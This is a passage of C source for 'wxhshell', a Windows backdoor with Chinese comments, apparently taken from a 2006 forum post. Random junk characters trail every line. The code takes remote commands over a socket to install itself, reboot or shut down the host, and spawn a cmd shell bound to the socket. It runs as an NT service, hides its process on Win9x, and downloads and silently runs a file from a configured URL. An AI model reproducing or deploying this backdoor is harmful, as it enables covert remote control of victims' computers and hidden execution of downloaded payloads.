      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~IWdFUKk  
    break; 'ey62-^r6  
  } B"\9slX  
  // 安装 "wg$ H1K  
  case 'i': { 9$U4x|n  
    if(Install()) ggitUQ+t;G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y)$%-'=b+  
    else /#&jF:h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2"6qg>]-t  
    break; ;Zj(**#H  
    } _Gaem"k|  
  // 卸载 S-ZN}N{,6  
  case 'r': { w)RedJnf  
    if(Uninstall()) md? cvGDE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #qR6TM&;  
    else #$W0%7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l 9g  
    break; ?G!~&  
    } ?8?vBkz~  
  // 显示 wxhshell 所在路径 O"df5x9@  
  case 'p': { | 5:2?S2R  
    char svExeFile[MAX_PATH]; o1?-+P/  
    strcpy(svExeFile,"\n\r"); 2eeFaFif  
      strcat(svExeFile,ExeFile); x Gbq,~_r  
        send(wsh,svExeFile,strlen(svExeFile),0); ^,t@HN;gA  
    break; 6 >;OVX  
    } ;hV|W{=w  
  // 重启 MEJX5qG6m  
  case 'b': { Lccy~2v>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *RVCz|0%w  
    if(Boot(REBOOT)) MP<]-M'|<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W[qy4\.B  
    else { *]h"J]  
    closesocket(wsh); `-{? !  
    ExitThread(0); jpS$5Ct  
    } frDMFEXXP  
    break; Zlh 2qq  
    }  ;Ss!OFK  
  // 关机 TU2oQ1  
  case 'd': { CDXN%~0h  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]h' 38W  
    if(Boot(SHUTDOWN)) O"EL3$9V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `H>&d K|/  
    else { "\`Fu  
    closesocket(wsh); 3!/J!X3L  
    ExitThread(0); S5, u| H  
    } S;gy:n!t  
    break; vV$^`WY4  
    } rl~Rbi  
  // 获取shell rtQ{  
  case 's': { '[%Pdd]! E  
    CmdShell(wsh); &~/g[\Y  
    closesocket(wsh); =q)+_@24>d  
    ExitThread(0); p{W Amly  
    break; kONn7Itbu  
  } cJ@fJ|  
  // 退出 e!L5 v?  
  case 'x': { 8v8-5N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a73VDQr I  
    CloseIt(wsh); x|Pz24yP9  
    break; EA1&D^nT  
    } z"\w9 @W  
  // 离开 NB'G{),)Z  
  case 'q': { "eOl(TSu/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z;e@m2.IM  
    closesocket(wsh); mLkp*?sfC  
    WSACleanup(); ^W%F?#ELN2  
    exit(1); `MCtm(<  
    break; >R6mI  
        } SSla^,MHef  
  } 2dKt}o>   
  } ^z{Xd|{"  
R[m{"2|,Lc  
  // 提示信息 w6h83m 3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qN' 3{jiPL  
} 7G;1n0m-T  
  } <oT1&C{  
B6TE9IoSb8  
  return; 5{+2#-  
} }:{ @nP  
_K{- 1ZYsi  
// shell模块句柄 v?6*n >R  
int CmdShell(SOCKET sock) KaOXqFT=  
{ $|&<cenMT  
STARTUPINFO si; O/ItN5B ;  
ZeroMemory(&si,sizeof(si)); "s]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XRQ1Uh6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [_3&  
PROCESS_INFORMATION ProcessInfo; P*K"0[\n  
char cmdline[]="cmd"; A Y<L8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ja 5od  
  return 0; %O#zE-H"  
} L>g6 9D !  
X )Tyxppf'  
// 自身启动模式 aJjUy%  
int StartFromService(void) /=AFle2(  
{ 3)o>sp)Ji$  
typedef struct [.xc`CF  
{ SB('Nqih  
  DWORD ExitStatus; RdyKd_0`Q  
  DWORD PebBaseAddress; 0F_hXy@K  
  DWORD AffinityMask; sKKc_H3YSH  
  DWORD BasePriority; fH_l2b[-3@  
  ULONG UniqueProcessId; ;r6YIS4@  
  ULONG InheritedFromUniqueProcessId; ;~$Q;m 1  
}   PROCESS_BASIC_INFORMATION; "x$L 2>9  
LD NdHG6  
PROCNTQSIP NtQueryInformationProcess; eAI|zk6  
N TDmOS\,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pp1Kor  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; sUmpf4/  
,?qJAV~>  
  HANDLE             hProcess; ]}l.*v\uK  
  PROCESS_BASIC_INFORMATION pbi; j1->w8  
rr(kFQ"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <vV"abk  
  if(NULL == hInst ) return 0; a=y%+E'a '  
X@Zt4)2#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eNi#% ?=WB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Tmu2G/yi  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G,P k3>I'  
*\}$,/m['  
  if (!NtQueryInformationProcess) return 0; 6|n3Q$p  
sGNHA( ;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vRW;{,d  
  if(!hProcess) return 0; ?6ssSjR}  
;w]1H&mc*A  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9eP*N(m<  
EXH,+3fQp  
  CloseHandle(hProcess); AB+lM;_>  
}QQl.'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lH/" 47  
if(hProcess==NULL) return 0; [N%InsA9k  
Ez-AQ'  
HMODULE hMod; ;g+fY 6  
char procName[255]; '-I\G6w9  
unsigned long cbNeeded; tBZ?UAe;  
^qBm%R(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @cxM#N8e  
O0BDUpH  
  CloseHandle(hProcess); -Q Mwtr#q}  
4L`,G:J,;  
if(strstr(procName,"services")) return 1; // 以服务启动 :2NV;7Wke6  
[)8O\/:  
  return 0; // 注册表启动 5?Q5cD2]\6  
} 5&L*'kV@  
'x? |tKzd  
// 主模块 8dt=@pwx&  
int StartWxhshell(LPSTR lpCmdLine) ,-k?"|tQ  
{ "d~<{(:N^  
  SOCKET wsl; jVGAgR=[G  
BOOL val=TRUE; %yKcp5_  
  int port=0; vmOye/?k  
  struct sockaddr_in door; AA ~7"2e  
47*2QL^zj  
  if(wscfg.ws_autoins) Install(); E#tfCM6  
vZS/? pU~~  
port=atoi(lpCmdLine); ^b$G.h{o!E  
Xm(#O1Vm(l  
if(port<=0) port=wscfg.ws_port; %t1Z!xv_  
>,k2|m  
  WSADATA data; u6Ux nqNc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2Q%M2Ua  
pBBKfv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;Z"Iv  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zT/woiyB`  
  door.sin_family = AF_INET; =c#mR" 1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |t3}>+"?z  
  door.sin_port = htons(port); g}hNsU=$5~  
F/j ; q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qQo*:3/];  
closesocket(wsl); yU7XX+cB7  
return 1; ND=JpVkvZ?  
} F &5iA\  
aYpc\jJ  
  if(listen(wsl,2) == INVALID_SOCKET) { C9k"QPE  
closesocket(wsl); \7xc*v [  
return 1; yEJ3O^(F  
} NL-PQ%lUA  
  Wxhshell(wsl); J?Q@f  
  WSACleanup(); wkPomTO  
+@8, uL  
return 0; HJ"sK5Q  
D(TfW   
} <bhJ>  
>nK (  
// 以NT服务方式启动 RASk=B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MOB'rPIUI  
{ ,1<6=vL  
DWORD   status = 0; OzRo  
  DWORD   specificError = 0xfffffff; w+!V,lU"^  
:l Z\=2D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8/,s 8u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e9S*^2;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \fUVWXv  
  serviceStatus.dwWin32ExitCode     = 0; B"*PBJuOA  
  serviceStatus.dwServiceSpecificExitCode = 0; ga;t`5+d  
  serviceStatus.dwCheckPoint       = 0; F60m]NUM)c  
  serviceStatus.dwWaitHint       = 0; KqaEHL  
}PDtx:T-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); AtAu$"ue  
  if (hServiceStatusHandle==0) return; 6*>vie  
q %tq9%  
status = GetLastError(); ?=kH}'igq  
  if (status!=NO_ERROR) 7Ot&]M  
{ ?G&J_L=@Y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [,~;n@jz  
    serviceStatus.dwCheckPoint       = 0; J]48th0,  
    serviceStatus.dwWaitHint       = 0; t0:~BYXu  
    serviceStatus.dwWin32ExitCode     = status; L/bvM?B^  
    serviceStatus.dwServiceSpecificExitCode = specificError; Z%3)w.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); L!ms{0rJ  
    return; * "?,.  
  } OMYbCy^  
NW21{}=4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m,w^,)  
  serviceStatus.dwCheckPoint       = 0; }>YEtA  
  serviceStatus.dwWaitHint       = 0; ^QHgc_oDm  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K3rsew n  
} XwU1CejP0  
iZ ;562Mo  
// 处理NT服务事件,比如:启动、停止 LR"7e  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /B{c L`<  
{ :FS~T[C;  
switch(fdwControl) Wp^ |=  
{ "Vwk&~B%  
case SERVICE_CONTROL_STOP: *tDxwD7  
  serviceStatus.dwWin32ExitCode = 0;  .^rs VNG  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =`V9{$i  
  serviceStatus.dwCheckPoint   = 0; akgvV~5  
  serviceStatus.dwWaitHint     = 0; +~lPf.  
  { "#%9dWy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L N'})CI8m  
  } WO+>W+|N  
  return; 8..g\ZT  
case SERVICE_CONTROL_PAUSE: *zX^Sg-[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jH9.N4L  
  break; P&Hhq>@Z  
case SERVICE_CONTROL_CONTINUE: N&Uqzt*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5VLC\QgK^  
  break; 6:G ::"ew  
case SERVICE_CONTROL_INTERROGATE: IU]@%jA_:A  
  break; h~&5;  
}; DwXSlsN3v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (xBWxeL~  
} k]A$?C0Q<%  
{r?Ly15  
// 标准应用程序主函数 M_;hfpJZ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) BUla2p  
{ 95tHi re  
::Di  
// 获取操作系统版本 P"+K'B7K3  
OsIsNt=GetOsVer(); E I&)+cC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); l9NET  
^JB5-EtL(  
  // 从命令行安装 nqib`U@"  
  if(strpbrk(lpCmdLine,"iI")) Install(); `g(r.`t^  
Ar[$%  
  // 下载执行文件 l;;"v) C8  
if(wscfg.ws_downexe) { r@H7J 5<Y-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cbX  <  
  WinExec(wscfg.ws_filenam,SW_HIDE); KMV&c  
} j"P}Wn  
4Mj cx.21  
if(!OsIsNt) { p+{*&Hm5  
// 如果时win9x,隐藏进程并且设置为注册表启动 hKQg:30<  
HideProc(); *Cx3bg*Gan  
StartWxhshell(lpCmdLine); J|WkPv2  
} Uv=hxV[7y  
else |-vn,zpe  
  if(StartFromService()) f9b[0L  
  // 以服务方式启动 X&|y|  
  StartServiceCtrlDispatcher(DispatchTable); R94 ID@LF  
else C;eM:v0A[  
  // 普通方式启动 roWg~U(S  
  StartWxhshell(lpCmdLine); o~p%ODH  
Y:K1v:Knw  
return 0; f}zv@6#&  
}
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只看该作者 1 发表于: 2006-10-10
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